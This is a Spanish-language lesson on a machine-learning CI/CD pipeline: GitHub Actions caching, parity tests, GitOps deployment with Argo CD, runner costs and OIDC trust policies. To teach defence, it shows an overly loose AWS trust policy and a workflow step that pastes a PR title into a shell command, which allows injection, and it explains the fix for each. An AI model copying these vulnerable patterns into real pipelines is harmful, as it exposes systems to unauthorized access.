En «Empaquetado con Docker» viste que el orden de las capas hace que un cambio de código reconstruya solo la última, en 2 a 5 segundos en vez de 30 a 60. Pero esa caché vive en el disco de la máquina que construyó, y el runner de GitHub nace vacío en cada job.

La caché de Actions lo resuelve: cache-to: type=gha,mode=max guarda las capas en el almacén de caché de GitHub al terminar, y cache-from: type=gha las trae en la siguiente corrida. mode=max guarda también las capas de la etapa builder, la que instala los paquetes, que no quedan en la imagen final. GitHub da, por omisión, 10 GB de caché por repositorio (más espacio se paga aparte) y borra lo que no se usa en 7 días. Con un gateway de 87 MB sobra; la imagen de Triton, de 9.2 GB, casi la llenaría ella sola, y es una razón más para que esa imagen no se construya en un runner de GitHub.

Dos relojes más protegen el pipeline. timeout-minutes mata un job atorado: sin él, un job colgado espera 360 minutos, el máximo de los runners de GitHub. Y un job que espera aprobación en un environment falla solo a los 30 días.

06

Del digest al clúster: GitOps, aprobación y la paridad de punta a punta

Esencial

From digest to cluster: GitOps, approval and end-to-end parity

El job imagen deja un digest. Ahora hay que lograr que el clúster lo corra, primero en staging y luego en producción.

La paridad de punta a punta

Staging vive en el mismo clúster que producción, en su propio namespace (un apartado con nombre dentro del clúster), classifier-staging, con su propia T4. Antes de desplegar nada, el job paridad hace el último examen del camino de la foto. Prende el gateway de ese digest y la imagen de Triton que sirve hoy, como en staging, y manda por el gateway las 20 fotos de referencia, en JPEG, como las mandaría la app de Ana.

Ese job corre en el runner propio con T4: una máquina con GPU de Alba que se prende solo para un job y se borra al terminar. Hace falta porque el examen necesita el Triton real con el engine real, y los runners de GitHub no traen GPU. Nunca corre código de un PR, que podría venir de cualquiera, porque la máquina tiene permisos en AWS. Prendida solo cuando trabaja cuesta ≈ US$5 al mes; prendida siempre, ≈ US$384 (la cuenta está en la sección extra del workflow del modelo).

Es la tercera de las tres paridades de «Export, engine y paridad», la paridad de punta a punta. Las otras dos comparan el modelo exportado con el original y el engine con el modelo, y las dos reciben la foto ya convertida en números. Esta es la única que ve el preprocesamiento del gateway (cómo convierte el JPEG en números) y el orden de labels.json, la lista que traduce cada salida del modelo al nombre de su categoría. Atrapa, por ejemplo, un cambio que lee los colores en orden BGR (azul, verde, rojo) en vez de RGB (rojo, verde, azul).

Cuándo pasa la paridad de punta a punta
ynuevo=yref
|qnuevo−qref|≤ε
donde
yref
la primera categoría (el top-1) que dio la versión aprobada, guardada con ella
qref
su score, la probabilidad que el modelo le dio a esa categoría, de 0 a 1
ynuevo,qnuevo
lo mismo, respondido por el gateway nuevo
ε
la diferencia máxima de score permitida, sin unidad como el score: 0.01 en Alba

La paridad pasa solo si las dos líneas se cumplen en cada una de las 20 fotos.

El código hace el examen con 5 de las fotos, contra dos gateways: el bueno y uno que lee los colores al revés. Los scores son de juguete.

Python
EPS = 0.01                                  # ε: diferencia máxima de score
guardado = {                                # foto: (top-1, score) de la versión aprobada
    "tenis.jpg":     ("Calzado › Tenis", 0.9132),
    "bici.jpg":      ("Deportes › Bicicletas", 0.8810),
    "lampara.jpg":   ("Hogar › Iluminación", 0.6417),
    "sillon.jpg":    ("Hogar › Muebles", 0.7745),
    "celular.jpg":   ("Electrónica › Celulares", 0.9568),
}
def paridad(respuestas):
    fallas = []
    for foto, (top1, score) in guardado.items():
        nuevo, s = respuestas[foto]
        if nuevo != top1 or abs(s - score) > EPS:
            fallas.append(f"{foto}: {nuevo} {s:.4f} (guardado {top1} {score:.4f})")
    return fallas

bien = {"tenis.jpg": ("Calzado › Tenis", 0.9127), "bici.jpg": ("Deportes › Bicicletas", 0.8815),
        "lampara.jpg": ("Hogar › Iluminación", 0.6409), "sillon.jpg": ("Hogar › Muebles", 0.7751),
        "celular.jpg": ("Electrónica › Celulares", 0.9566)}
bgr = {"tenis.jpg": ("Calzado › Tenis", 0.8841), "bici.jpg": ("Deportes › Bicicletas", 0.8790),
       "lampara.jpg": ("Hogar › Muebles", 0.4120), "sillon.jpg": ("Hogar › Muebles", 0.7702),
       "celular.jpg": ("Electrónica › Celulares", 0.9561)}
for nombre, r in (("gateway 3f9c2ab", bien), ("gateway con colores BGR", bgr)):
    f = paridad(r)
    print(nombre, "→", "pasa" if not f else f"FALLA en {len(f)} de {len(guardado)}")
    for linea in f:
        print("   ", linea)
Salida
gateway 3f9c2ab → pasa
gateway con colores BGR → FALLA en 2 de 5
    tenis.jpg: Calzado › Tenis 0.8841 (guardado Calzado › Tenis 0.9132)
    lampara.jpg: Hogar › Muebles 0.4120 (guardado Hogar › Iluminación 0.6417)

Mira los tenis: el top-1 sigue bien, pero el score bajó 0.9132 − 0.8841 ≈ 0.03, casi el triple de ε. Un examen que solo viera el top-1 lo dejaría pasar. Por eso la regla revisa los dos.

El despliegue es un cambio en Git

Alba despliega con GitOps, como en la lección «Git»: lo que debe correr en el clúster vive en otro repositorio, alba/despliegue, y desplegar es cambiar una línea ahí. Para staging, el job staging abre y junta un PR en ese repositorio que cambia una línea del archivo del gateway, que queda image: …/classifier-gateway:3f9c2ab@sha256:… (los «…» abrevian la dirección del registro y el digest completo).

La línea lleva los dos nombres: 3f9c2ab para que una persona sepa qué es, y @sha256:… para que Kubernetes baje exactamente eso. Cuando una línea trae los dos, manda el digest.

Del otro lado está Argo CD: un programa que corre dentro del clúster, lee el repositorio de despliegue y hace que el clúster se parezca a lo que dice. Por omisión revisa el repositorio cada 2 a 3 minutos, o al instante si GitHub le avisa con un webhook (un aviso por HTTP cuando algo cambia), que es como lo tiene Alba. No hay que darle al CI permiso para entrar al clúster: el CI solo escribe en Git. (No lo confundas con Argo Workflows, el orquestador del pipeline mensual del modelo: comparten nombre y nada más.)

¿Quién escribe en el repositorio de despliegue? No el token normal del workflow, que solo sirve para alba/classifier. Lo escribe una GitHub App: una identidad de máquina instalada solo en alba/despliegue, con permiso para abrir y juntar PR ahí y nada más, que da tokens de una hora. Para pedirlos, el job usa la llave privada de la App, un archivo que prueba que quien pide habla en nombre de ella, guardada como secreto del repositorio. Es la única llave del camino que no vence sola, y solo sirve para abrir y juntar PR en alba/despliegue. El PR queda como registro: qué digest, quién lo pidió y cuándo.

Quién aprueba, y uno a la vez

Para producción, el job produccion tiene environment: produccion. Un environment de GitHub es un ambiente con reglas: el de Alba exige que una persona del equipo de ML que no hizo el cambio apriete «Approve». Hasta entonces, el job espera. Con 5 personas en el equipo, siempre hay alguien que no escribió el cambio. La opción Prevent self-review del environment impide que apruebe quien disparó la corrida, que en un push a main es quien hizo el merge. La aprobación queda en GitHub, con nombre y hora; el cambio en alba/despliegue, con su commit.

Un detalle de precio: en un repositorio privado, los revisores obligatorios de un environment solo existen en el plan Enterprise de GitHub (en Free, Pro y Team, solo en repositorios públicos). Alba tiene GitHub Enterprise, y por eso puede usarlos en alba/classifier, que es privado. Sin Enterprise, la aprobación iría en la revisión obligatoria del PR en alba/despliegue, y la App ya no lo juntaría sola.

Y concurrency evita que dos despliegues pisen al mismo ambiente. Con el grupo deploy-gateway-produccion, solo un job de ese grupo corre a la vez. cancel-in-progress: false dice que el nuevo espera en lugar de cancelar al que va a la mitad: cortar un despliegue a medias deja copias viejas y nuevas mezcladas. Ojo: por omisión, en el grupo espera una sola corrida; si llega una tercera, la que esperaba se cancela y la nueva toma su lugar. Para un despliegue suele estar bien, porque gana el commit más nuevo; si deben correr todas en orden, se agrega queue: max. En los PR, «Pruebas y CI/CD» usa cancel-in-progress: true porque la corrida vieja ya no sirve; en el despliegue es false porque cortar a la mitad es peor.

El digest viaja por Git: CI escribe, Argo CD aplica · Cómo pasa el digest de GitHub al clúster sin que el CI entre al clúster. Toca cada caja; los recorridos siguen un despliegue a producción y un rollback.
  • job imagen · outputs.digest
    Deja el digest como salida del job: digest=sha256:…. Los jobs de abajo lo leen como needs.imagen.outputs.digest.
  • job produccion · environment · concurrency
    Espera la aprobación del environment produccion y corre solo uno a la vez, por su grupo de concurrency.
  • Quien revisa · no hizo el cambio
    Una de las 5 personas del equipo de ML, distinta de quien escribió el cambio. Su «Approve» queda en GitHub con nombre y hora.
  • GitHub App · token de 1 h
    La GitHub App instalada solo en alba/despliegue, con permiso para abrir y juntar PR ahí y nada más. El token del workflow no sirve fuera de alba/classifier.
  • alba/despliegue · la línea image:
    El archivo del gateway queda con classifier-gateway:3f9c2ab@sha256:…. Cada despliegue es un PR juntado, con su autor y su hora: GitOps.
  • Argo CD · compara y aplica
    Argo CD corre dentro del clúster: lee main del repositorio de despliegue y cambia lo que no coincide. El CI nunca entra al clúster.
  • ECR · classifier-gateway
    Las imágenes, con tags inmutables. Aquí sigue la versión anterior, gracias a la retención de las últimas 200.
  • producción · namespace classifier
    En el namespace classifier, el apartado de producción dentro del clúster, las copias del gateway bajan la imagen por digest y reemplazan a las viejas una por una. Cómo lo hace Kubernetes lo cuenta «Kubernetes».

El rollback, con este diseño

Si la versión nueva falla en producción, volver es revertir el commit del repositorio de despliegue con git revert, que crea un commit nuevo que deshace al anterior. Argo CD ve que la línea vuelve a pedir el digest anterior y el clúster lo baja del registro, donde sigue gracias a la retención. Nadie reconstruye nada. En el gateway, con su imagen de 87 MB, que se baja en 1 a 3 segundos, la vuelta tarda lo que tarden en reemplazarse las copias. Cómo se decide cuándo volver, y cómo se automatiza, lo cuenta «Rollout seguro».

Para ir más hondoLa otra forma: el CI despliega con kubectl

Sin GitOps, el job de despliegue entra al clúster con sus propias credenciales y le da la orden con kubectl, el comando para darle órdenes a Kubernetes: kubectl -n classifier set image deployment/gateway gateway=…/classifier-gateway@sha256:…, seguido de kubectl rollout status, que espera a que las copias nuevas estén listas y falla si no lo logran en el plazo. Funciona, y es más simple al principio.

Alba eligió GitOps por tres razones. El CI no necesita un permiso para cambiar el clúster de producción, que sería el permiso más valioso de toda la organización. La historia de qué corrió y cuándo queda en Git, con quién lo aprobó. Y el rollback es un git revert, no un comando que alguien recuerda a las 3 de la mañana.

Lo que no se puede es mezclar las dos. Si Argo CD tiene prendida la corrección automática (self-heal) y alguien corre un kubectl set image de emergencia, Argo CD ve que el clúster ya no coincide con el repositorio y lo regresa en segundos. El arreglo de emergencia desaparece sin que nadie entienda por qué.

07

El workflow del modelo: triton-modelo en la T4

Extra

The model workflow: triton-modelo on the T4

El gateway cambia varias veces al día. El modelo, una vez al mes. Ponerlos en el mismo workflow obligaría a reconstruir 9.2 GB de Triton con cada cambio de una línea en Python. Por eso Alba tiene un segundo workflow, triton-modelo.yml, con su propio ritmo:

  • Lo dispara un botón, no un PR: workflow_dispatch. Lo aprieta el pipeline mensual, por la API de GitHub, cuando registra una versión como challenger.
  • Corre en el runner propio con T4, nunca en uno de GitHub: la imagen de Triton no cabe cómoda en sus discos, y probarla necesita la GPU.
  • Hace cuatro cosas: baja el engine del registro de modelos y verifica su sha256; arma la imagen sobre tritonserver:24.08-py3, la imagen oficial de Triton de la release 24.08, la misma con la que se construyó el engine; la prende y espera a que Triton cargue el modelo y quede listo; y la sube como classifier-triton:resnet50-2026-10-01.
YAML
# .github/workflows/triton-modelo.yml (ilustración)
on:
  workflow_dispatch:
    inputs:
      version: { required: true }      # resnet50-2026-10-01, la versión 14
permissions: { contents: read, id-token: write }
jobs:
  imagen-triton:
    runs-on: [self-hosted, linux, x64, gpu-t4]
    timeout-minutes: 45                # un paso colgado no retiene la T4 seis horas
    steps:
      - uses: actions/checkout@v7
      - run: ./ci/bajar_engine.sh "${{ inputs.version }}"   # del registro, con su sha256
      - run: docker build -t "classifier-triton:${{ inputs.version }}" triton/
      - run: ./ci/triton_listo.sh "classifier-triton:${{ inputs.version }}"
      - run: ./ci/push_triton.sh "${{ inputs.version }}"    # ECR, tag = versión

Al subirla, ECR recibe casi nada: las ≈ 9 GB de la base ya están en el repositorio desde el mes pasado, con la misma release, y solo viaja la capa del engine, de ≈ 50 a 150 MB. Lo que este workflow no hace es desplegar: llevar el modelo nuevo a una parte del tráfico y pasarlo a champion, la versión que atiende a todos, es trabajo de «Rollout seguro».

Para ir más hondoPor qué no en un runner de GitHub

Un runner estándar de GitHub para un repositorio privado trae 2 procesadores, 8 GB de memoria y ≈ 14 GB de disco, sin GPU. La imagen de Triton pesa ≈ 9.2 GB comprimida; descomprimida, en disco, ocupa bastante más. Construirla ahí deja el disco muy justo, o lo llena a la mitad del build. Y aunque cupiera, no habría dónde prenderla para comprobar que Triton carga el engine: eso exige la T4.

El engine tampoco se construye ahí, y por una razón más fuerte: un engine de TensorRT solo sirve en el tipo de GPU donde se construyó. Por eso todo lo que toca el engine corre en la T4, como cuenta «Export, engine y paridad».

El runner propio, prendido solo cuando trabaja

Un runner propio efímero es una máquina tuya que toma un job y se borra al terminar. La de Alba es una g4dn.xlarge, un tipo de máquina de AWS con una T4, con las etiquetas [self-hosted, linux, x64, gpu-t4], por las que la eligen los jobs. Corre dos cosas: el job paridad de cada merge y triton-modelo una vez al mes. Nunca un PR: el código de un PR podría venir de cualquiera, y correría en una máquina con permisos en AWS.

¿Por qué prenderla solo cuando trabaja? Porque la nube cobra cada hora que una máquina está prendida, trabaje o no. La cuenta, con los jobs reales:

Lo que cuesta el runner al mes
H=J×ton60
C=p×H
Csiempre=p×730
Cgh=pmin×J×ton
donde
J
cuántos jobs corre al mes
ton
los minutos que la máquina está prendida por job: arrancar, bajar las imágenes y correr
H
las horas prendida al mes, en h (el 60 pasa de minutos a horas)
p
el precio de la máquina por hora, en US$
C
lo que cuesta el runner propio al mes, en US$
Csiempre
lo que costaría prendida todo el mes, en US$; 730 son las horas de un mes (24 × 365 ÷ 12)
pmin
el precio por minuto del runner con GPU que renta GitHub, en US$
Cgh
lo que costaría el mismo trabajo en ese runner, si cada job tardara lo mismo, en US$
El runner con T4 de AlbaLa cuenta
Jobs al mes, Jsupuesto: m = 4 merges al día, en medio de 3 a 5, cada uno con su paridad, en 30 días
4 × 30
120 jobs
Minutos prendida por job, tonsupuesto: arrancar ≈ 1–2 min, bajar las dos imágenes ≈ 2–3 min (casi todo es Triton) y ≈ 1 min de paridad
—
≈ 5 min
Horas al mes, H
J×ton÷60 = 120 × 5 ÷ 60
10 h
Costo del runner propio, Cp = US$0.526 por hora, una g4dn.xlarge
p×H = 0.526 × 10
≈ US$5.3 al mes
Prendida todo el mes, Csiempre730 h
p×730 = 0.526 × 730
≈ US$384 al mes
Con el runner de GPU de GitHub, Cghpmin = US$0.052 por minuto, la lista de precios de GitHub en noviembre de 2026
pmin×J×ton = 0.052 × 120 × 5
≈ US$31 al mes
Resultado
≈ US$5.3 al mes, dentro de los menos de US$10 que estima el equipo. El triton-modelo del mes suma unos centavos: con ≈ 15 minutos prendida (supuesto), p×15÷60 = 0.526 × 15 ÷ 60 ≈ US$0.13.
El runner con T4: propio, prendido todo el mes o rentadoCalculadora

Aplica las ecuaciones de la lección: H=J×ton÷60, las horas prendida; C=p×H, lo que cuesta el runner propio; Csiempre=p×730, lo que costaría prendido todo el mes; y Cgh=pmin×J×ton, lo mismo en el runner con GPU que renta GitHub. Arranca con los supuestos de Alba.

Horas prendida al mes, HH=J×ton÷6010.0
Runner propio, C, en US$ al mesC=p×H5.26
La misma máquina prendida todo el mes, Csiempre, en US$Csiempre=p×730; 730 h = un mes384
Runner de GitHub con GPU, Cgh, en US$ al mesCgh=pmin×J×ton31.20
Cuántas veces más cuesta el de GitHub, Cgh÷C5.9×

Los 120 jobs (4 merges al día con su paridad) y los 5 minutos prendida son supuestos de la lección; los precios son de noviembre de 2026 y cambian. Si H pasa de 730, ni prendida todo el mes alcanza: harían falta dos máquinas.

Empieza con los números de Alba. Sube J a 600, un equipo con 20 merges al día: el runner propio sigue costando poco. Luego sube ton a 30, como si cada job bajara la imagen de Triton desde lejos: ahí se ve por qué importa que el pull sea rápido.

08

Credenciales sin llaves: OIDC y la trust policy

Extra

Keyless credentials: OIDC and the trust policy

El job imagen sube a ECR, y para eso necesita credenciales de AWS. La forma vieja era guardar una llave de acceso como secreto del repositorio. Una llave así no vence: si se filtra, sirve hasta que alguien la note. Alba no guarda ninguna.

En su lugar usa OIDC, de la lección «Autenticación y permisos». Cada job con id-token: write puede pedirle a GitHub un JWT, un token firmado que dice quién es: qué repositorio, qué rama, qué evento. AWS revisa la firma de GitHub y, si el token cumple las condiciones de un rol, le entrega credenciales temporales de ese rol, que vencen en una hora.

La trust policy: a quién deja entrar el rol

Las condiciones viven en la trust policy del rol: el documento que dice quién puede asumirlo. No dice qué puede hacer el rol (eso es otra política: subir a classifier-gateway y nada más); dice quién entra. Lo que más importa revisar es el campo sub del token (de subject: de quién habla el token), que GitHub arma así: repo:alba/classifier:ref:refs/heads/main para un push a main, y repo:alba/classifier:pull_request para un PR.

JSON
{ "Effect": "Allow",
  "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": { "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:alba/classifier:ref:refs/heads/main" } } }

Es una ilustración: un pedazo de la política del rol gha-classifier-gateway. Dice: acepta tokens firmados por GitHub (Federated) cuyo aud, para quién se emitió el token, sea el servicio de credenciales de AWS, y cuyo sub sea exactamente el de un push a main. El código de abajo hace lo que hace AWS con cinco tokens distintos, contra esa regla estricta y contra una floja, repo:alba/*, que alguien escribe «para que funcione». fnmatchcase compara con comodines (un * vale por cualquier texto), como la condición StringLike de IAM.

Python
from fnmatch import fnmatchcase             # compara con comodines, como StringLike de IAM

def entra(token, regla):                    # lo que revisa AWS antes de dar credenciales
    return token["aud"] == "sts.amazonaws.com" and fnmatchcase(token["sub"], regla)

estricta = "repo:alba/classifier:ref:refs/heads/main"
floja = "repo:alba/*"                       # «cualquier cosa de la organización»
tokens = {
    "push a main (job imagen)":  "repo:alba/classifier:ref:refs/heads/main",
    "un PR":                     "repo:alba/classifier:pull_request",
    "push a la rama prueba-x":   "repo:alba/classifier:ref:refs/heads/prueba-x",
    "job con environment":       "repo:alba/classifier:environment:produccion",
    "otro repo de Alba":         "repo:alba/notebooks-becarios:ref:refs/heads/main",
}
print(f"{'quién pide':28} estricta  floja")
for quien, sub in tokens.items():
    t = {"aud": "sts.amazonaws.com", "sub": sub}
    print(f"{quien:28} {'entra' if entra(t, estricta) else 'no':9} {'entra' if entra(t, floja) else 'no'}")
Salida
quién pide                   estricta  floja
push a main (job imagen)     entra     entra
un PR                        no        entra
push a la rama prueba-x      no        entra
job con environment          no        entra
otro repo de Alba            no        entra

Con la regla floja, cualquier PR, cualquier rama y cualquier repositorio de la organización obtienen permiso para subir imágenes a producción. Con la estricta, solo el job que corre después de un merge a main. Fíjate en la cuarta fila: un job con environment recibe otro sub, …:environment:produccion. Por eso, si el job produccion necesita entrar a AWS (en la forma con kubectl, por ejemplo), usa su propio rol, con su propia trust policy, que pide justo ese sub: solo un job que ya pasó la aprobación puede asumirlo.

Cuánto dura cada credencial del pipeline

Cada pieza del camino tiene su propia credencial, y todas vencen solas:

CredencialQuién la daCuánto dura
Token del job (GITHUB_TOKEN)GitHub, al arrancar el jobhasta que el job termina
Token de identidad (OIDC)GitHub, a pedido del jobminutos: solo sirve para cambiarlo
Credenciales del rolAWS, a cambio del token OIDC1 hora, por omisión
Contraseña de docker login a ECRECR, con las credenciales del rol12 horas
Token de la GitHub AppGitHub, a pedido del job1 hora

El job imagen dura ≈ 2 minutos: una hora sobra. Si un día un job necesitara más, se pide una duración mayor al asumir el rol, hasta el máximo que permita el rol. Lo que nunca se hace es volver a guardar una llave «para no batallar».

Resuélvelo con lápiz antes de abrir la solución:

  1. 1Medio

    El job produccion usa un rol de AWS cuya trust policy pide sub = repo:alba/classifier:ref:refs/heads/main. El job tiene environment: produccion y falla al pedir credenciales. ¿Por qué? ¿Cómo lo arreglas sin aflojar la regla?

    Ver la solución paso a paso
    • Un job con environment recibe un token cuyo sub es repo:alba/classifier:environment:produccion, no el de la rama. La condición no coincide y AWS lo rechaza.
    • El arreglo: la trust policy de ese rol pide exactamente repo:alba/classifier:environment:produccion. Así solo un job que pasó por la aprobación del environment puede asumirlo.
    • Aflojarla a repo:alba/* también «funcionaría», y dejaría entrar a cualquier PR.
09

Errores comunes

Esencial

Common mistakes

10

En la vida real

Extra

In real life

En Alba: el cambio del jueves

El jueves a las 11:02, una persona del equipo junta el PR que aclara el mensaje de error del 415, la respuesta a una foto en un formato que el gateway no acepta. A las 11:06, classifier-gateway:3f9c2ab está en ECR, escaneada y firmada. A las 11:11, con la T4 ya prendida, pasa la paridad de las 20 fotos; hacia las 11:15, staging responde con su prueba de humo. A las 11:25, otra persona del equipo, que no escribió el cambio, aprieta «Approve». A las 11:30 las copias de producción corren el digest nuevo. El viernes, alguien vuelve a correr el workflow de ese commit «por si acaso»: falla en el push, y es lo correcto.

Otros sistemas, la misma estación

  • Video en tiempo real. Un sistema que analiza cámaras construye su engine una vez en CI, en una GPU L4 con la misma versión de TensorRT del contenedor, y lo distribuye a cada sitio. La caja de cada sitio verifica la firma y el checksum de la imagen antes de activarla, y solo acepta imágenes por digest.
  • Inspección en el edge (en el lugar, no en la nube). Si el modelo corre en un módulo Jetson, una computadora chica de NVIDIA con GPU, en una fábrica, el engine se construye en un Jetson de CI con la misma versión del software, no en una nube con T4. La idea del runner propio es la misma; la máquina es otra.
  • Un pronóstico de demanda. Un orquestador de pipelines lanza cada paso como un contenedor fijado por digest. Si una corrida falla a los tres meses, el digest dice exactamente con qué se corrió.
  • Patología digital. Un sistema que segmenta tejido escribe, junto a cada resultado, la versión del modelo y el digest del contenedor que lo produjo. Meses después, un resultado se explica sin adivinar.
  • Un LLM propio. Un equipo que sirve su propio modelo de lenguaje tiene el mismo problema que Alba, más grande: el servidor cambia seguido y los pesos pesan decenas de GB. La salida es la misma: dos pipelines con dos ritmos, y los pesos fuera de la imagen del código o en una imagen aparte, con su propio tag y su propio digest.

Fuera de ML

Una farmacéutica fabrica un lote, lo prueba y le pone un número de lote que nunca se repite. Si un medicamento sale mal, el número dice qué lote fue y qué pruebas pasó. Nadie «vuelve a fabricar el lote 4471»: un lote nuevo lleva otro número. Es la misma idea que un tag inmutable y un digest, con pastillas. La comparación se rompe en un punto: el número de lote se asigna, como un tag, mientras que el digest sale del contenido mismo. Dos lotes idénticos llevan números distintos; dos imágenes idénticas tendrían el mismo digest.

11

Ejercicios

Esencial

Exercises

Resuélvelos con lápiz antes de abrir la solución. Hay uno más, de la trust policy, en la sección extra «Credenciales sin llaves». Usa las letras de la lección: tlint, tpruebas, timg, tpush, tCI, tpar, tstg, tprod, ttotal (tiempos, en minutos); N, m, d, A, δ, S, Sentera, pGB, Cecr (retención); J, ton, H, p, C, Csiempre, pmin, Cgh (runner); y, q, ε (paridad).

  1. 1Fácil

    Un PR de Alba cambia gateway/app/main.py. ¿Qué jobs de gateway.yml corren y cuáles salen en gris (saltados)? ¿Y cuando ese PR se junta a main?

    Ver la solución paso a paso
    • En el PR: lint y pruebas, a la vez. imagen tiene if: github.event_name == 'push', así que sale en gris, y con él paridad, staging y produccion, que dependen de imagen.
    • Después del merge, el evento es push a main: corren los seis. lint y pruebas otra vez (ahora sobre el commit real de main), luego imagen, paridad, staging y produccion, que espera la aprobación.
  2. 2Fácil

    ¿Por qué la imagen del gateway se llama classifier-gateway:3f9c2ab y la de Triton classifier-triton:resnet50-2026-10-01, y no las dos por su commit?

    Ver la solución paso a paso
    • El gateway cambia con el código: su commit dice exactamente qué código trae, y git show 3f9c2ab lo enseña.
    • La imagen de Triton tiene el mismo código de Triton cada mes; lo que cambia es el engine. Su nombre útil es la versión del modelo, que el registro de modelos explica con sus huellas.
  3. 3Fácil

    El viernes alguien vuelve a correr el workflow del commit 3f9c2ab, ya publicado. ¿Qué pasa, y está bien?

    Ver la solución paso a paso
    • El job imagen reconstruye; la imagen nueva casi seguro tiene otro digest (cambian fechas dentro de ella).
    • ECR tiene tags inmutables: rechaza el push porque el tag 3f9c2ab ya existe (y nombra otro contenido). El job falla.
    • Está bien. La imagen de ese commit ya existe y es la que se probó. Si el push pasara, 3f9c2ab dejaría de decir la verdad.
  4. 4Fácil

    Con la regla de Alba, que guarda las últimas 200 imágenes del gateway, ¿cuántos días hacia atrás alcanza la lista si hay 4 merges al día? ¿Y en una temporada tranquila, con 1 al día?

    Ver la solución paso a paso
    • d=N÷m.
    • Con 4 al día: 200 ÷ 4 = 50 días.
    • Con 1 al día: 200 ÷ 1 = 200 días. Contar imágenes hace que la lista dure más cuando hay menos cambios: justo cuando la versión estable lleva más tiempo sin cambiar.
  5. 5Medio

    Si lint tardara 3 min en vez de 1 (alguien agregó un revisor lento), ¿cuánto cambiarían tCI y ttotal? ¿Y si las pruebas bajaran de 2 a 1 min?

    Ver la solución paso a paso
    • tCI=max(tlint,tpruebas)+timg+tpush y ttotal=tCI+tpar+tstg+tprod.
    • Lint de 3 min: max(3, 2) + 1 + 1 = 5 min; ttotal = 5 + 5 + 3.5 + 5 = 18.5 min. Sube un minuto: ahora lint es el más lento.
    • Pruebas de 1 min (lint de 1): max(1, 1) + 1 + 1 = 3 min; ttotal = 3 + 5 + 3.5 + 5 = 16.5 min.
    • Lo que corre a la vez solo importa por el más lento: acelerar el que no es el más lento no ahorra nada.
  6. 6Medio

    Un equipo guarda sus imágenes sin que compartan capas: cada imagen del gateway cambia también sus dependencias (δ = 87 MB, A ≈ 0). ¿Cuánto ocupan 200, y cuánto cuesta al mes con pGB ≈ US$0.10? Compara con Alba.

    Ver la solución paso a paso
    • S=A+N×δ y Cecr=S×pGB.
    • S = 0 + 200 × 87 = 17,400 MB ≈ 17.4 GB.
    • Cecr=S×pGB = 17.4 × 0.10 ≈ US$1.74 al mes.
    • Alba: S ≈ 97 MB = 0.097 GB, y Cecr = 0.097 × 0.10 ≈ US$0.01 al mes. Ocupa 17,400 ÷ 97 ≈ 180 veces menos, por el orden de las capas. Ninguna de las dos cuentas es grande; la diferencia de verdad está en el tiempo de cada push y cada pull.
  7. 7Medio

    La paridad de punta a punta compara 3 fotos con ε = 0.01. Guardado: (Tenis, 0.913), (Bicicletas, 0.881), (Iluminación, 0.642). Gateway nuevo: (Tenis, 0.905), (Bicicletas, 0.884), (Muebles, 0.640). ¿Pasa?

    Ver la solución paso a paso
    • La regla, en cada foto: ynuevo=yref y |qnuevo−qref|≤ε.
    • Tenis: top-1 igual; |0.905 − 0.913| = 0.008 ≤ 0.01: pasa.
    • Bicicletas: igual; |0.884 − 0.881| = 0.003: pasa.
    • Iluminación: el top-1 cambió a Muebles. Falla, aunque el score casi no se movió (|0.640 − 0.642| = 0.002).
    • La paridad falla: el job paridad sale en rojo y nada se despliega.
  8. 8Medio

    Dos merges llegan a main con 2 minutos de diferencia: 3f9c2ab y luego 8d41e07. El job produccion tiene concurrency con cancel-in-progress: false. ¿Qué pasa con cada despliegue? ¿Qué pasaría con true?

    Ver la solución paso a paso
    • Los dos workflows corren sus jobs de CI por separado: cada commit tiene su imagen y su digest.
    • En produccion, los dos jobs están en el mismo grupo, deploy-gateway-produccion. Con false, el de 8d41e07 espera a que termine el de 3f9c2ab y despliega después. Nunca hay dos despliegues a la vez. (Si llegara un tercero mientras el segundo espera, el segundo se cancelaría y el tercero tomaría su lugar.)
    • Con true, el segundo cancelaría al primero a la mitad: algunas copias con 3f9c2ab, otras sin cambiar, y un commit a medias en el repositorio de despliegue. Para pruebas de un PR eso está bien; para un despliegue, no.
  9. 9Reto

    El equipo duda entre su runner propio con T4, que cobra p = US$0.526 por hora prendida, y el runner con GPU que renta GitHub, que cobra pmin = US$0.052 por minuto. Con J = 120 jobs al mes y ton = 5 min prendida por job, compara lo que cuesta al mes el propio, C, con el rentado, Cgh. ¿A partir de cuántos minutos prendida por job, sin cambiar lo que tarda en GitHub, deja de convenir el propio?

    Ver la solución paso a paso
    • C=p×H=p×J×ton÷60 = 0.526 × 120 × 5 ÷ 60 ≈ US$5.3. Cgh=pmin×J×ton = 0.052 × 120 × 5 ≈ US$31.2.
    • Si en GitHub cada job sigue tardando 5 min, Cgh se queda en US$31.2. El propio cuesta lo mismo cuando 0.526 × 120 × ton ÷ 60 = 31.2, es decir, ton = 31.2 × 60 ÷ (0.526 × 120) ≈ 29.7 min.
    • Mientras la máquina propia arranque y trabaje en menos de ≈ 30 minutos por job, conviene. Además, el runner de GPU de GitHub solo existe en los planes de pago para organizaciones.
  10. 10Medio

    Un paso de un workflow dice run: echo "Revisando ${{ github.event.pull_request.title }}". Recuerda que GitHub llena cada ${{ … }} antes de correr el paso, y que el título del PR lo escribe quien abre el PR. ¿Qué riesgo tiene, y cómo lo reescribes?

    Ver la solución paso a paso
    • GitHub pega el título dentro del comando antes de correrlo. Un título con comillas y ; agrega comandos que corren en el runner, con lo que el job tenga a mano.
    • Reescrito: env: { TITULO: ${{ github.event.pull_request.title }} } y run: echo "Revisando $TITULO". La terminal recibe el título como el valor de una variable, no como parte del código.
  11. 11Reto

    A las 16:00, producción corre classifier-gateway:8d41e07 y los errores 504 (la respuesta de «se acabó el tiempo esperando») se disparan. La versión anterior era 3f9c2ab, de hace 9 días. (a) ¿Qué haces, paso por paso? (b) ¿La imagen anterior sigue en el registro? (c) ¿Qué habría pasado con una retención de «borra lo de más de 7 días»?

    Ver la solución paso a paso
    • (a) git revert del commit de alba/despliegue que pidió 8d41e07, en un PR que se aprueba rápido. Argo CD ve la línea con el digest de 3f9c2ab y el clúster la baja. Nadie reconstruye. Después, con calma, git log 3f9c2ab..8d41e07 en el gateway, la lista de commits entre las dos versiones, para encontrar la causa.
    • (b) Sí. Imágenes nuevas desde entonces: 9 días × m, con m = 3 a 5 merges al día, son ≈ 27 a 45, menos que las N = 200 que se guardan.
    • (c) La de 3f9c2ab ya no existiría: el revert pediría un digest que el registro borró, las copias nuevas no podrían bajarlo y el rollback fallaría justo cuando hace falta.
12

